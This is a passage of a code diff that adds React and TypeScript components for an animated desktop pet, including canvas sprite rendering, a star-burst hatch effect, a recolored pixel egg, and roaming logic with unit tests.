+      // Only touch the canvas when the visible cell actually changes. The RAF
+      // wakes when a sprite cell is due, so the idle path avoids a 60Hz loop.
+      if (frame !== drawnFrame || row !== drawnRow) {
+        const sx = frame * frameW
+        const sy = row * frameH
+        ctx.clearRect(0, 0, canvas.width, canvas.height)
+        ctx.imageSmoothingEnabled = false
+        ctx.drawImage(image, sx, sy, frameW, frameH, 0, 0, drawW, drawH)
+        drawnFrame = frame
+        drawnRow = row
+      }
+
+      scheduleFrame(Math.max(0, stepMs - (now - lastStep)))
+    }
+
+    kickAnimationRef.current = kickAnimation
+
+    const unsubState = $petState.listen(next => {
+      stateRef.current = next
+      kickAnimation()
+    })
+
+    image.addEventListener('load', kickAnimation)
+    pauseController = createRendererLoopPauseController(handleVisibilityChange, { pauseWhenUnfocused })
+    scheduleFrame()
+
+    return () => {
+      stopped = true
+      kickAnimationRef.current = () => undefined
+      clearScheduled()
+      image.removeEventListener('load', kickAnimation)
+      pauseController?.dispose()
+      unsubState()
+    }
+  }, [image, frameW, frameH, frames, framesByState, framesByRow, loopMs, drawW, drawH, rows, pauseWhenUnfocused])
+
+  return (
+    <canvas
+      aria-label={info.displayName ? `${info.displayName} pet` : 'pet'}
+      height={drawH}
+      ref={canvasRef}
+      style={{ height: drawH, width: drawW }}
+      width={drawW}
+    />
+  )
+}
+
+/**
+ * Memoized so a parent re-render (e.g. a position commit on drag-end) doesn't
+ * re-run the canvas setup. Props change only when the pet itself changes.
+ */
+export const PetSprite = memo(PetSpriteImpl)
diff --git a/ui-desktop/src/components/pet/pet-star-shower.tsx b/ui-desktop/src/components/pet/pet-star-shower.tsx
new file mode 100644
index 000000000..01b811e95
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-star-shower.tsx
@@ -0,0 +1,241 @@
+import { useEffect, useRef } from 'react'
+
+/**
+ * Canvas hatch celebration layered over a freshly revealed pet: a one-shot
+ * sunburst of rotating god-rays, a fast radial star burst (confetti physics —
+ * velocity + decay + gravity + spin), and a light trickle of rising twinkle
+ * motes. Additive (`lighter`) so the sparkles bloom. No glow-halo flash.
+ *
+ * Sized to its container (absolute inset-0, pointer-events: none) and disabled
+ * under `prefers-reduced-motion`.
+ */
+
+const GOLD = '#ffd76a'
+const BURST = 15
+const VELOCITY = 500
+const DECAY = 0.9
+const GRAVITY = 90
+const RAY_COUNT = 24
+const GOLD_MIX = 0.6
+const MOTE_MS = 333 // ~3 / sec
+
+interface Star {
+  x: number
+  y: number
+  vx: number
+  vy: number
+  size: number
+  rot: number
+  vrot: number
+  phase: number
+  twinkle: number
+  life: number
+  ttl: number
+  color: string
+  rise: boolean
+}
+
+function readAccent(el: HTMLElement): string {
+  return getComputedStyle(el).getPropertyValue('--ui-accent').trim() || '#9aa0ff'
+}
+
+function sparkle(ctx: CanvasRenderingContext2D, size: number, rot: number, color: string): void {
+  ctx.rotate(rot)
+  ctx.fillStyle = color
+
+  for (const [rx, ry] of [
+    [size, size * 0.26],
+    [size * 0.26, size]
+  ]) {
+    ctx.beginPath()
+    ctx.moveTo(0, -ry)
+    ctx.lineTo(rx, 0)
+    ctx.lineTo(0, ry)
+    ctx.lineTo(-rx, 0)
+    ctx.closePath()
+    ctx.fill()
+  }
+
+  const core = Math.max(1, Math.round(size * 0.4))
+  ctx.fillStyle = '#fff'
+  ctx.fillRect(-core / 2, -core / 2, core, core)
+}
+
+export function PetStarShower() {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+
+  useEffect(() => {
+    const canvas = canvasRef.current
+    const ctx = canvas?.getContext('2d')
+    const parent = canvas?.parentElement
+
+    if (!canvas || !ctx || !parent) {
+      return
+    }
+
+    if (window.matchMedia?.('(prefers-reduced-motion: reduce)').matches) {
+      return
+    }
+
+    const accent = readAccent(canvas)
+    const dpr = Math.min(window.devicePixelRatio || 1, 3)
+    let w = 0
+    let h = 0
+    let cx = 0
+    let cy = 0
+
+    const resize = () => {
+      const r = parent.getBoundingClientRect()
+      w = r.width
+      h = r.height
+      cx = w / 2
+      cy = h * 0.54
+      canvas.width = Math.round(w * dpr)
+      canvas.height = Math.round(h * dpr)
+      ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+    }
+
+    resize()
+    const ro = new ResizeObserver(resize)
+    ro.observe(parent)
+
+    const pick = () => (Math.random() < GOLD_MIX ? GOLD : Math.random() < 0.5 ? accent : '#ffffff')
+    const stars: Star[] = []
+
+    for (let i = 0; i < BURST; i++) {
+      const a = Math.random() * Math.PI * 2
+      const sp = VELOCITY * (0.4 + Math.random() * 0.7)
+      stars.push({
+        x: cx,
+        y: cy,
+        vx: Math.cos(a) * sp,
+        vy: Math.sin(a) * sp,
+        size: 3.5 + Math.random() * 5.5,
+        rot: Math.random() * 6.28,
+        vrot: (Math.random() - 0.5) * 8,
+        phase: 0,
+        twinkle: 0,
+        life: 0,
+        ttl: 0.8 + Math.random() * 0.7,
+        color: pick(),
+        rise: false
+      })
+    }
+
+    const rays = { life: 0, ttl: 0.9, rot: Math.random() * 6.28 }
+
+    let raf = 0
+    let last = performance.now()
+    let acc = 0
+    let raysAlive = true
+
+    const tick = (now: number) => {
+      raf = requestAnimationFrame(tick)
+      const ms = now - last
+      last = now
+      const dt = Math.min(0.05, ms / 1000)
+      const decay = Math.pow(DECAY, dt * 60)
+      acc += ms
+
+      if (acc >= MOTE_MS && stars.length < 40) {
+        acc = 0
+        stars.push({
+          x: cx + (Math.random() - 0.5) * w * 0.85,
+          y: cy + Math.random() * h * 0.25,
+          vx: (Math.random() - 0.5) * 14,
+          vy: -(14 + Math.random() * 26),
+          size: 2.5 + Math.random() * 3.5,
+          rot: Math.random() * 6.28,
+          vrot: (Math.random() - 0.5) * 2,
+          phase: Math.random() * 6.28,
+          twinkle: 5 + Math.random() * 4,
+          life: 0,
+          ttl: 1.2 + Math.random(),
+          color: pick(),
+          rise: true
+        })
+      }
+
+      ctx.clearRect(0, 0, w, h)
+      ctx.globalCompositeOperation = 'lighter'
+
+      // Sunburst god-rays — one-shot bloom + slow spin.
+      if (raysAlive) {
+        rays.life += dt
+        rays.rot += dt * 0.6
+        const t = rays.life / rays.ttl
+
+        if (t >= 1) {
+          raysAlive = false
+        } else {
+          const len = Math.max(w, h) * 0.62 * (1 - (1 - t) ** 2)
+          ctx.save()
+          ctx.translate(cx, cy)
+          ctx.rotate(rays.rot)
+
+          for (let i = 0; i < RAY_COUNT; i++) {
+            ctx.rotate((Math.PI * 2) / RAY_COUNT)
+            const a = (1 - t) * 0.3 * (i % 2 ? 0.65 : 1)
+            const wd = len * 0.05
+            const g = ctx.createLinearGradient(0, 0, 0, -len)
+            g.addColorStop(0, `rgba(255,255,255,${a})`)
+            g.addColorStop(1, 'rgba(255,255,255,0)')
+            ctx.fillStyle = g
+            ctx.beginPath()
+            ctx.moveTo(-wd, 0)
+            ctx.lineTo(wd, 0)
+            ctx.lineTo(0, -len)
+            ctx.closePath()
+            ctx.fill()
+          }
+
+          ctx.restore()
+        }
+      }
+
+      for (let i = stars.length - 1; i >= 0; i--) {
+        const s = stars[i]
+        s.life += dt
+
+        if (s.rise) {
+          s.vy += 7 * dt
+          s.phase += s.twinkle * dt
+        } else {
+          s.vx *= decay
+          s.vy = s.vy * decay + GRAVITY * dt
+        }
+
+        s.x += s.vx * dt
+        s.y += s.vy * dt
+        s.rot += s.vrot * dt
+
+        if (s.life >= s.ttl || s.y < -12) {
+          stars.splice(i, 1)
+
+          continue
+        }
+
+        const fade = s.rise
+          ? Math.min(1, s.life * 5, (s.ttl - s.life) * 3) * (0.45 + 0.55 * Math.abs(Math.sin(s.phase)))
+          : Math.min(1, (s.ttl - s.life) * 3)
+
+        ctx.save()
+        ctx.globalAlpha = fade
+        ctx.translate(Math.round(s.x), Math.round(s.y))
+        sparkle(ctx, s.size, s.rot, s.color)
+        ctx.restore()
+      }
+
+      ctx.globalCompositeOperation = 'source-over'
+    }
+
+    raf = requestAnimationFrame(tick)
+
+    return () => {
+      cancelAnimationFrame(raf)
+      ro.disconnect()
+    }
+  }, [])
+
+  return <canvas className="pointer-events-none absolute inset-0 z-10 h-full w-full" ref={canvasRef} />
+}
diff --git a/ui-desktop/src/components/pet/pet-thumb.tsx b/ui-desktop/src/components/pet/pet-thumb.tsx
new file mode 100644
index 000000000..088514c08
--- /dev/null
+++ b/ui-desktop/src/components/pet/pet-thumb.tsx
@@ -0,0 +1,79 @@
+import { useEffect, useRef, useState } from 'react'
+
+import { PawPrint } from '@/lib/icons'
+
+// petdex frames are a fixed 192×208 grid; the box matches that aspect.
+const THUMB_W = 40
+const THUMB_H = Math.round((THUMB_W * 208) / 192)
+
+export type PetThumbLoader = (slug: string, url?: string) => Promise<string | null>
+
+/**
+ * Idle-frame preview for one pet. The backend crops + caches the frame and
+ * returns it as a same-origin data URI (`pet.thumb`), which dodges the renderer
+ * CSP / R2 hotlink rules that break a direct `<img src=cdn>`.
+ */
+export function PetThumb({
+  slug,
+  url,
+  alt,
+  load,
+  size = THUMB_W
+}: {
+  slug: string
+  url?: string
+  alt: string
+  load: PetThumbLoader
+  /** Width in px; height follows the petdex frame aspect. */
+  size?: number
+}) {
+  const [src, setSrc] = useState<string | null>(null)
+  const boxRef = useRef<HTMLSpanElement | null>(null)
+  const height = Math.round((size * 208) / 192)
+
+  useEffect(() => {
+    const el = boxRef.current
+
+    if (!el || src) {
+      return
+    }
+
+    const observer = new IntersectionObserver(
+      entries => {
+        if (entries.some(entry => entry.isIntersecting)) {
+          observer.disconnect()
+          void load(slug, url).then(uri => {
+            if (uri) {
+              setSrc(uri)
+            }
+          })
+        }
+      },
+      { rootMargin: '120px' }
+    )
+
+    observer.observe(el)
+
+    return () => observer.disconnect()
+  }, [slug, url, src, load])
+
+  return (
+    <span
+      className="grid shrink-0 place-items-center overflow-hidden rounded-md bg-(--ui-bg-tertiary) text-(--ui-text-tertiary)"
+      ref={boxRef}
+      style={{ height, width: size }}
+    >
+      {src ? (
+        <img
+          alt={alt}
+          aria-hidden
+          className="pointer-events-none size-full object-contain"
+          src={src}
+          style={{ imageRendering: 'pixelated' }}
+        />
+      ) : (
+        <PawPrint className="size-4" />
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/pet/pixel-egg-sprite.tsx b/ui-desktop/src/components/pet/pixel-egg-sprite.tsx
new file mode 100644
index 000000000..5c4253904
--- /dev/null
+++ b/ui-desktop/src/components/pet/pixel-egg-sprite.tsx
@@ -0,0 +1,259 @@
+import { type CSSProperties, useEffect, useRef } from 'react'
+
+import eggSheetUrl from './pet-egg-sheet.png'
+
+/**
+ * Animated pixel egg — the iamcrog "bouncing hatching egg" 12-frame sheet
+ * (32×32 cells, stacked vertically), drawn to a canvas and recolored to a warm
+ * white/creme shell.
+ *
+ * The sheet's shell is mid-gray, so a plain multiply only darkens it (still
+ * gray). Instead we remap each pixel's luminance through a creme ramp via a 256-
+ * entry LUT: near-black stays a warm dark outline, midtones become creme shadow,
+ * highlights go near-white. Done on a 32×32 offscreen then nearest-neighbor
+ * scaled up so it stays crisp.
+ *
+ * Frames 0–5 are the intact squash/stretch bounce; 6–11 are the crack/hatch.
+ * `mode="bounce"` loops 0–5 (never shows a crack); `mode="hatch"` plays 6–11
+ * once then calls onDone.
+ */
+
+const FRAME = 32
+const TOTAL_FRAMES = 12
+const BOUNCE_FRAMES = 6 // 0..5 — intact egg only; cracks start at frame 6
+const HATCH_START = 6 // first crack frame
+// Per-frame speed *while* a bounce is playing.
+const BOUNCE_MS = 250
+const HATCH_MS = 190
+// Harvest-Moon idle: the egg rests on frame 0 for a long, randomized gap between
+// bounces so it reads as "occasionally stirs", not "constantly animating".
+const REST_MIN_MS = 2600
+const REST_MAX_MS = 6200
+
+// Creme ramp endpoints: warm dark outline → creme shadow → near-white highlight.
+const OUTLINE: [number, number, number] = [78, 66, 58]
+const SHADOW: [number, number, number] = [214, 198, 168]
+const HIGHLIGHT: [number, number, number] = [253, 249, 238]
+const OUTLINE_CUTOFF = 46
+
+const lerp = (a: number, b: number, t: number) => a + (b - a) * t
+
+// Precompute the luminance→creme mapping once (shared across every egg). Below
+// the cutoff it's the flat outline; above, a SHADOW→HIGHLIGHT ramp.
+const CREME_LUT = (() => {
+  const lut = new Uint8ClampedArray(256 * 3)
+
+  for (let g = 0; g < 256; g++) {
+    const dark = g < OUTLINE_CUTOFF
+    const t = dark ? 0 : (g - OUTLINE_CUTOFF) / (255 - OUTLINE_CUTOFF)
+    const from = dark ? OUTLINE : SHADOW
+    const to = dark ? OUTLINE : HIGHLIGHT
+    lut.set([lerp(from[0], to[0], t), lerp(from[1], to[1], t), lerp(from[2], to[2], t)], g * 3)
+  }
+
+  return lut
+})()
+
+let _sheet: HTMLImageElement | null = null
+let _sheetLoading: Promise<HTMLImageElement> | null = null
+
+function loadSheet(): Promise<HTMLImageElement> {
+  if (_sheet?.complete) {
+    return Promise.resolve(_sheet)
+  }
+
+  if (!_sheetLoading) {
+    _sheetLoading = new Promise((resolve, reject) => {
+      const img = new Image()
+
+      img.onload = () => {
+        _sheet = img
+        resolve(img)
+      }
+
+      img.onerror = reject
+      img.src = eggSheetUrl
+    })
+  }
+
+  return _sheetLoading
+}
+
+interface PixelEggSpriteProps {
+  mode: 'bounce' | 'hatch'
+  /** On-screen size (px, square). */
+  size: number
+  /**
+   * Slot position in a grid of eggs. Used to deterministically spread each egg's
+   * first bounce across the rest window so neighbours never stir together (random
+   * jitter alone can collide with only a handful of eggs).
+   */
+  index?: number
+  className?: string
+  style?: CSSProperties
+  /** Fired once when a `hatch` run reaches the final frame. */
+  onDone?: () => void
+}
+
+export function PixelEggSprite({ mode, size, index = 0, className, style, onDone }: PixelEggSpriteProps) {
+  const canvasRef = useRef<HTMLCanvasElement | null>(null)
+  const onDoneRef = useRef(onDone)
+  onDoneRef.current = onDone
+
+  useEffect(() => {
+    const canvas = canvasRef.current
+    const ctx = canvas?.getContext('2d')
+
+    if (!canvas || !ctx) {
+      return
+    }
+
+    const dpr = Math.min(window.devicePixelRatio || 1, 3)
+    const dim = Math.round(size * dpr)
+    canvas.width = dim
+    canvas.height = dim
+
+    const lastFrame = TOTAL_FRAMES - 1
+    // Mild per-egg speed jitter so bounces don't feel mechanical.
+    const frameMs = (mode === 'bounce' ? BOUNCE_MS : HATCH_MS) * (0.85 + Math.random() * 0.3)
+    const restMs = () => REST_MIN_MS + Math.random() * (REST_MAX_MS - REST_MIN_MS)
+    // First bounce: a deterministic per-slot slice of the rest window (so two
+    // eggs never start together) plus a little random jitter on top.
+    const firstDelay = ((index % 4) + 1) * (REST_MIN_MS / 4) + Math.random() * REST_MIN_MS
+
+    // 32×32 offscreen we recolor per frame, then scale up nearest-neighbor.
+    const off = document.createElement('canvas')
+    off.width = FRAME
+    off.height = FRAME
+    const offCtx = off.getContext('2d', { willReadFrequently: true })
+
+    let sheet: HTMLImageElement | null = null
+    void loadSheet().then(img => {
+      sheet = img
+    })
+
+    const render = (frame: number) => {
+      if (!sheet || !offCtx) {
+        return
+      }
+
+      offCtx.clearRect(0, 0, FRAME, FRAME)
+      offCtx.imageSmoothingEnabled = false
+      offCtx.drawImage(sheet, 0, frame * FRAME, FRAME, FRAME, 0, 0, FRAME, FRAME)
+      const img = offCtx.getImageData(0, 0, FRAME, FRAME)
+      const d = img.data
+
+      for (let i = 0; i < d.length; i += 4) {
+        if (d[i + 3] === 0) {
+          continue
+        }
+
+        const g = d[i] * 3
+        d[i] = CREME_LUT[g]
+        d[i + 1] = CREME_LUT[g + 1]
+        d[i + 2] = CREME_LUT[g + 2]
+      }
+
+      offCtx.putImageData(img, 0, 0)
+
+      ctx.clearRect(0, 0, dim, dim)
+      ctx.imageSmoothingEnabled = false
+      ctx.drawImage(off, 0, 0, FRAME, FRAME, 0, 0, dim, dim)
+    }
+
+    let raf = 0
+    let step = 0
+    let finished = false
+    // bounce: `nextAt` is when the next thing happens — the next bounce frame, or
+    // the start of a new bounce after a rest. hatch: `lastHatch` time-gates frames.
+    let resting = mode === 'bounce'
+    let nextAt = 0
+    let lastHatch = 0
+
+    const tick = (now: number) => {
+      raf = requestAnimationFrame(tick)
+
+      if (!sheet) {
+        return
+      }
+
+      if (mode === 'hatch') {
+        if (!lastHatch) {
+          lastHatch = now
+          render(HATCH_START)
+
+          return
+        }
+
+        if (now - lastHatch < frameMs) {
+          return
+        }
+
+        lastHatch = now
+        const frame = Math.min(HATCH_START + step, lastFrame)
+        render(frame)
+
+        if (frame >= lastFrame) {
+          if (!finished) {
+            finished = true
+            onDoneRef.current?.()
+          }
+
+          return // hold the cracked-open last frame
+        }
+
+        step += 1
+
+        return
+      }
+
+      // bounce: rest on frame 0, play 0..5, then rest again.
+      if (!nextAt) {
+        render(0)
+        nextAt = now + firstDelay // staggered first bounce, per slot
+
+        return
+      }
+
+      if (now < nextAt) {
+        return
+      }
+
+      if (resting) {
+        resting = false
+        step = 0
+        render(0)
+        nextAt = now + frameMs
+
+        return
+      }
+
+      step += 1
+
+      if (step >= BOUNCE_FRAMES) {
+        resting = true
+        render(0)
+        nextAt = now + restMs()
+
+        return
+      }
+
+      render(step)
+      nextAt = now + frameMs
+    }
+
+    raf = requestAnimationFrame(tick)
+
+    return () => {
+      cancelAnimationFrame(raf)
+    }
+  }, [mode, size, index])
+
+  return (
+    <canvas
+      className={className}
+      ref={canvasRef}
+      style={{ width: size, height: size, imageRendering: 'pixelated', ...style }}
+    />
+  )
+}
diff --git a/ui-desktop/src/components/pet/roam-behavior.test.ts b/ui-desktop/src/components/pet/roam-behavior.test.ts
new file mode 100644
index 000000000..668113cb3
--- /dev/null
+++ b/ui-desktop/src/components/pet/roam-behavior.test.ts
@@ -0,0 +1,105 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  chooseMove,
+  dwellMs,
+  type DwellRange,
+  HOP_CHANCE,
+  pickStrollTarget,
+  REST_CHANCE,
+  type Rng
+} from './roam-behavior'
+import type { Ledge } from './roam-geometry'
+
+// Deterministic rng that replays a fixed sequence (last value sticks).
+const seq =
+  (...vals: number[]): Rng =>
+  () =>
+    vals.shift() ?? vals[vals.length - 1] ?? 0
+
+const RANGE: DwellRange = { maxMs: 13000, meanMs: 4000, minMs: 1500 }
+const ledge = (left: number, right: number, y = 0): Ledge => ({ left, right, y })
+
+describe('dwellMs', () => {
+  it('clamps the degenerate draws to the floor and ceiling', () => {
+    // rng→0 ⇒ u=1 ⇒ -ln(1)·mean = 0, raised to the floor.
+    expect(dwellMs(RANGE, () => 0)).toBe(RANGE.minMs)
+    // rng→~1 ⇒ u→0 ⇒ -ln(u) blows up, capped at the ceiling.
+    expect(dwellMs(RANGE, () => 1 - 1e-9)).toBe(RANGE.maxMs)
+  })
+
+  it('returns the mean at the exponential median point', () => {
+    // rng = 1 - 1/e ⇒ u = 1/e ⇒ -ln(u) = 1 ⇒ exactly the mean.
+    expect(dwellMs(RANGE, () => 1 - 1 / Math.E)).toBeCloseTo(RANGE.meanMs, 6)
+  })
+
+  it('stays within [min, max] across the whole rng domain', () => {
+    let state = 0.123456789
+
+    for (let i = 0; i < 5000; i++) {
+      state = (state * 9301 + 0.49297) % 1 // cheap deterministic walk
+      const ms = dwellMs(RANGE, () => state)
+      expect(ms).toBeGreaterThanOrEqual(RANGE.minMs)
+      expect(ms).toBeLessThanOrEqual(RANGE.maxMs)
+    }
+  })
+})
+
+describe('chooseMove', () => {
+  it('rests whenever the first draw lands under restChance — even where it could hop', () => {
+    expect(chooseMove(true, seq(0))).toBe('rest')
+    expect(chooseMove(false, seq(REST_CHANCE - 1e-9))).toBe('rest')
+  })
+
+  it('strolls when moving with nowhere to hop', () => {
+    expect(chooseMove(false, seq(0.99))).toBe('stroll')
+  })
+
+  it('hops only when moving, a ledge is reachable, and the second draw says so', () => {
+    expect(chooseMove(true, seq(0.99, HOP_CHANCE - 1e-9))).toBe('hop')
+    expect(chooseMove(true, seq(0.99, HOP_CHANCE))).toBe('stroll')
+  })
+
+  it('treats restChance as a strict lower bound (boundary stays a move)', () => {
+    expect(chooseMove(false, seq(REST_CHANCE))).toBe('stroll')
+  })
+
+  it('loafs far more than it roams over a long run (the whole point)', () => {
+    let state = 0.314159
+    const rng: Rng = () => (state = (state * 16807 + 0.5) % 1)
+    let rests = 0
+    const N = 20000
+
+    for (let i = 0; i < N; i++) {
+      if (chooseMove(true, rng) === 'rest') {
+        rests++
+      }
+    }
+
+    // ~62% rests; assert the contract (majority loafing), not the exact rate.
+    expect(rests / N).toBeGreaterThan(0.5)
+  })
+})
+
+describe('pickStrollTarget', () => {
+  it('collapses to the left edge on a ledge too narrow to walk', () => {
+    expect(pickStrollTarget(ledge(100, 102), 100, seq(0))).toBe(100)
+  })
+
+  it('lands inside the ledge and clears the minimum travel distance', () => {
+    const wide = ledge(0, 1000)
+    const from = 500
+    const x = pickStrollTarget(wide, from, seq(0.5, 0))
+
+    expect(x).toBeGreaterThanOrEqual(wide.left)
+    expect(x).toBeLessThanOrEqual(wide.right)
+    expect(Math.abs(x - from)).toBeGreaterThanOrEqual(110) // STROLL_MIN_PX
+  })
+
+  it('heads toward the side with more room', () => {
+    // Pinned near the right wall, the roomier side is left. First draw clears the
+    // rare double-back coin ⇒ it commits to the roomy (left) side ⇒ target < x.
+    const x = pickStrollTarget(ledge(0, 1000), 950, seq(0.5, 0))
+    expect(x).toBeLessThan(950)
+  })
+})
diff --git a/ui-desktop/src/components/pet/roam-behavior.ts b/ui-desktop/src/components/pet/roam-behavior.ts
new file mode 100644
index 000000000..0eb7302b9
--- /dev/null
+++ b/ui-desktop/src/components/pet/roam-behavior.ts
@@ -0,0 +1,97 @@
+/**
+ * Pure decision helpers for the floating pet's wander — the "what to do & when"
+ * layer, split out from the geometry (`roam-geometry.ts`) and the RAF/DOM loop
+ * (`use-pet-roam.ts`) so the *rhythm* of the roam is tunable in one place and
+ * unit testable (every function takes an injectable `rng`).
+ *
+ * The goal is a calm, believable critter rather than a fidgeting one. Two ideas
+ * from ambient game-AI carry the weight (see GameAIPro ch.36 "Breathing Life
+ * into Your Background Characters" + standard idle/wander state machines):
+ *
+ *  1. **Loaf, don't pace.** A background character that picks a new walk on
+ *     every beat reads as nervous. Most decision beats just keep resting;
+ *     movement is the exception, not the default (`REST_CHANCE`).
+ *  2. **Memoryless dwell times.** Uniform pauses feel metronomic. An
+ *     exponential dwell — the classic model for idle durations — gives mostly
+ *     short rests with the occasional long loaf, so the cadence never reads as a
+ *     fixed pattern (`dwellMs` / `PAUSE_DWELL`).
+ */
+
+import type { Ledge } from './roam-geometry'
+
+export type Rng = () => number
+
+/** What the pet does when a rest beat ends. */
+export type RoamMove = 'rest' | 'stroll' | 'hop'
+
+export interface DwellRange {
+  /** Mean of the exponential draw — the "typical" rest length. */
+  meanMs: number
+  /** Floor, so a near-zero draw never produces a jittery micro-pause. */
+  minMs: number
+  /** Ceiling, so a fat-tail draw (or a throttled tab) can't freeze the pet. */
+  maxMs: number
+}
+
+// Rest length between beats: mostly short loafs, the occasional long one.
+export const PAUSE_DWELL: DwellRange = { maxMs: 13000, meanMs: 4200, minMs: 1500 }
+// Most beats the pet just keeps loafing — a critter that re-walks every beat
+// reads as nervous, not alive.
+export const REST_CHANCE = 0.62
+// When it *does* move, chance it hops to another ledge vs. strolling this one.
+export const HOP_CHANCE = 0.2
+// Strolls should cover ground, not shuffle: travel at least this fraction of the
+// ledge (or this many px, whichever is larger), up to the room available.
+const STROLL_MIN_FRACTION = 0.45
+const STROLL_MIN_PX = 110
+// Bias toward the roomier side so the pet crosses the app instead of pacing one
+// spot; the long tail of the coin still lets it double back now and then.
+const STROLL_TOWARD_ROOM = 0.85
+
+/**
+ * Exponential (memoryless) dwell time, clamped to `[minMs, maxMs]`. With rng→0
+ * this returns `minMs`; with rng→1 it saturates at `maxMs`; in between it's
+ * `-ln(u)·meanMs`, so short rests dominate and long loafs are rare but possible.
+ */
+export function dwellMs({ meanMs, minMs, maxMs }: DwellRange, rng: Rng = Math.random): number {
+  const u = 1 - rng() // map [0,1) → (0,1] so the log stays finite
+
+  return Math.min(maxMs, Math.max(minMs, -Math.log(u) * meanMs))
+}
+
+/**
+ * Decide a beat: rest (the common case), or — when the pet is actually going to
+ * move — hop to a reachable ledge if one exists and the dice say so, else stroll
+ * the current ledge. `canHop` is false when no neighbouring surface overlaps, so
+ * the pet never "hops" in place.
+ */
+export function chooseMove(canHop: boolean, rng: Rng = Math.random): RoamMove {
+  if (rng() < REST_CHANCE) {
+    return 'rest'
+  }
+
+  return canHop && rng() < HOP_CHANCE ? 'hop' : 'stroll'
+}
+
+/**
+ * A stroll destination (absolute x) on `ledge` that actually goes somewhere:
+ * lean toward the side with more room and guarantee a decent minimum travel, so
+ * the pet crosses the app rather than shuffling in place.
+ */
+export function pickStrollTarget(ledge: Ledge, fromX: number, rng: Rng = Math.random): number {
+  const span = ledge.right - ledge.left
+
+  if (span <= 4) {
+    return ledge.left
+  }
+
+  const roomLeft = fromX - ledge.left
+  const roomRight = ledge.right - fromX
+  // Usually head to the roomier side; the long tail of the coin doubles back.
+  const goRight = rng() < STROLL_TOWARD_ROOM === roomRight >= roomLeft
+  const room = Math.max(0, goRight ? roomRight : roomLeft)
+  const minDist = Math.min(room, Math.max(span * STROLL_MIN_FRACTION, STROLL_MIN_PX))
+  const dist = minDist + rng() * Math.max(0, room - minDist)
+
+  return goRight ? fromX + dist : fromX - dist
+}
diff --git a/ui-desktop/src/components/pet/roam-geometry.test.ts b/ui-desktop/src/components/pet/roam-geometry.test.ts
new file mode 100644
index 000000000..17ed62515
--- /dev/null
+++ b/ui-desktop/src/components/pet/roam-geometry.test.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it } from 'vitest'
+
+import { GROUND_EPS, groundTop, type Ledge, overlapsX, resolveLedge } from './roam-geometry'
+
+const ledge = (y: number, left = 0, right = 1000): Ledge => ({ left, right, y })
+
+describe('groundTop', () => {
+  it('sinks the feet by the padding offset so they meet the surface', () => {
+    // y - petH + FEET_DROP_PX(4)
+    expect(groundTop(ledge(500), 100)).toBe(404)
+  })
+})
+
+describe('overlapsX', () => {
+  it('is true only when the walkable ranges share real width', () => {
+    expect(overlapsX(ledge(0, 0, 100), ledge(0, 50, 200))).toBe(true)
+    expect(overlapsX(ledge(0, 0, 100), ledge(0, 100, 200))).toBe(false) // touching, not overlapping
+    expect(overlapsX(ledge(0, 0, 100), ledge(0, 300, 400))).toBe(false)
+  })
+})
+
+describe('resolveLedge', () => {
+  const floor = ledge(600)
+  const shelf = ledge(300, 100, 400)
+
+  it('returns the highest surface at or below the feet under the current x', () => {
+    // Standing on the shelf line, under the shelf's x-span ⇒ the shelf.
+    const petH = 100
+    const onShelf = resolveLedge([floor, shelf], 200, shelf.y - petH, petH)
+    expect(onShelf).toBe(shelf)
+  })
+
+  it('ignores surfaces the pet is not horizontally over', () => {
+    const petH = 100
+    // x=800 is past the shelf ⇒ only the floor qualifies.
+    const onFloor = resolveLedge([floor, shelf], 800, floor.y - petH, petH)
+    expect(onFloor).toBe(floor)
+  })
+
+  it('falls back to the floor (ledges[0]) when below everything', () => {
+    const petH = 100
+    const below = resolveLedge([floor, shelf], 200, 5000, petH)
+    expect(below).toBe(floor)
+  })
+
+  it('counts a surface within GROUND_EPS of the feet as standing on it', () => {
+    const petH = 100
+    const justAbove = resolveLedge([floor], 10, floor.y - petH - GROUND_EPS + 0.5, petH)
+    expect(justAbove).toBe(floor)
+  })
+})
diff --git a/ui-desktop/src/components/pet/roam-geometry.ts b/ui-desktop/src/components/pet/roam-geometry.ts
new file mode 100644
index 000000000..b40376fbd
--- /dev/null
+++ b/ui-desktop/src/components/pet/roam-geometry.ts
@@ -0,0 +1,130 @@
+/**
+ * The "where can it stand" layer of the floating pet's wander: it measures the
+ * live DOM for walkable surfaces and answers pure questions about them. Split
+ * from the decision logic (`roam-behavior.ts`) and the RAF/DOM loop
+ * (`use-pet-roam.ts`) so the loop reads as physics, not geometry, and the pure
+ * helpers (`overlapsX`, `resolveLedge`, `groundTop`) stay unit testable.
+ */
+
+import { TITLEBAR_HEIGHT } from '@/app/shell/titlebar'
+
+/**
+ * A horizontal surface the pet can stand and walk on. `y` is the surface line
+ * (where the pet's feet rest); `left`/`right` bound the pet's top-left x so the
+ * whole sprite stays on the ledge.
+ */
+export interface Ledge {
+  y: number
+  left: number
+  right: number
+}
+
+// Elements the pet can perch on top of, measured fresh each beat. The bottom
+// floor is always a ledge; these add app furniture the pet can climb onto (the
+// composer, the profile rail). Add a `data-slot` here to grow the playground.
+const PERCH_SELECTORS = ['[data-slot="composer-surface"]', '[data-slot="profile-rail"]']
+
+// A full-width bar pinned to the window bottom (the status bar). When present,
+// the pet walks along its TOP edge instead of the window edge, so it stands on
+// the bar rather than covering it.
+const FLOOR_BAR_SELECTOR = '[data-slot="statusbar"]'
+
+// Sprites carry a few px of transparent padding below the feet; sink the pet by
+// this much so the visible feet meet the surface instead of hovering above it.
+const FEET_DROP_PX = 4
+// Snap distance: how close the feet must be to count as "on this ledge".
+export const GROUND_EPS = 2
+
+const vw = (): number => window.innerWidth || 800
+const vh = (): number => window.innerHeight || 600
+
+/** The y a pet of height `petH` rests at when standing on `ledge`. */
+export const groundTop = (ledge: Ledge, petH: number): number => ledge.y - petH + FEET_DROP_PX
+
+/**
+ * Do the pet's walkable x-ranges on two ledges overlap enough to step across?
+ * (Pure — the wander uses it to find hop-reachable neighbours.)
+ */
+export const overlapsX = (from: Ledge, to: Ledge): boolean =>
+  Math.min(from.right, to.right) > Math.max(from.left, to.left) + 2
+
+/**
+ * The highest surface at or below the pet's feet under its current x — i.e. what
+ * it's standing on, or what it would fall onto. Pure; falls back to the floor
+ * (always `ledges[0]`) if the pet is somehow below everything.
+ */
